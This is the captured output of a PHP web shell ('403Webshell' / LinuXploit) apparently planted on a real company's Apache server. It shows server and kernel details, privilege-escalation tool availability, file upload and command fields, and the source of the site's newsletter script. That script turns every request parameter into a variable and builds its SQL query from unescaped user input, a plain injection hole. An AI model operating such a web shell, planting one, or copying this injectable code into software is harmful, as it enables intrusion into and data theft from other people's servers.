403Webshell
Server IP : 103.234.187.230  /  Your IP : 216.73.216.216
Web Server : Apache
System : Linux lserver42043-ind.megavelocity.net 3.10.0-1160.108.1.el7.x86_64 #1 SMP Thu Jan 25 16:17:31 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/rsdgroup/ajax/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/rsdgroup/ajax/newsLetter.php
<?php  
include_once("../conf/settings.php");
include_once("../conf/func.php");
foreach($_REQUEST as $key=>$value){
	$$key=$value; 
}
$sql		=	"INSERT INTO `tblNewsLetterSubscriber` (`email`, `createdOn`) VALUES ('".$newsLetterEmail."', unix_timestamp())";
$resset		=	mysql_query($sql) or die(mysql_error());
if($resset){

	if($newsLetterEmail)
    {
        //Send Mail to User
		$user_mail_id = $newsLetterEmail;
		$to  = $user_mail_id; 
		$subject = "Welcome to RSD Group, Thank you for subscribing our newsletters.";
		$message = "Dear,  <br/><br/>
					Greeting from RSDGROUP!! <br/>
					Thanks for showing interest in RSD Group's Newsletter and emails; you have successfully added to our mailing list.<br/><br/>
					Team: RSD Group";
		$headers  = "MIME-Version: 1.0\r\n";
		$headers .= "Content-type:text/html;charset=UTF-8" . "\r\n";
		$headers .= "From: RSDGROUP<rsdgroup@noreply.in >\r\n";
		@mail($to, $subject, $message, $headers);

		//Send mail to admin
		//$to_admin  = "praveen@catpl.co.in"; 
		$to_admin  = "newsletter@rsdgroup.net"; 
		$subject_admin = "<".$user_mail_id."> have subscribed for our newsletters. <br/>"; 
		$message_admin = "Please update the list of newsletters subscribers and also send a latest copy of news letter to <".$user_mail_id.">";
		$headers  = "MIME-Version: 1.0\r\n";
		$headers .= "Content-type:text/html;charset=UTF-8" . "\r\n";
		$headers .= "From: RSDGROUP<rsdgroup@noreply.in >\r\n";
		
		@mail($to_admin, $subject_admin, $message_admin, $headers);
     }

	echo "1";
}
else{
	echo "0";
}
?> 	 



Youez - 2016 - github.com/yon3zu
LinuXploit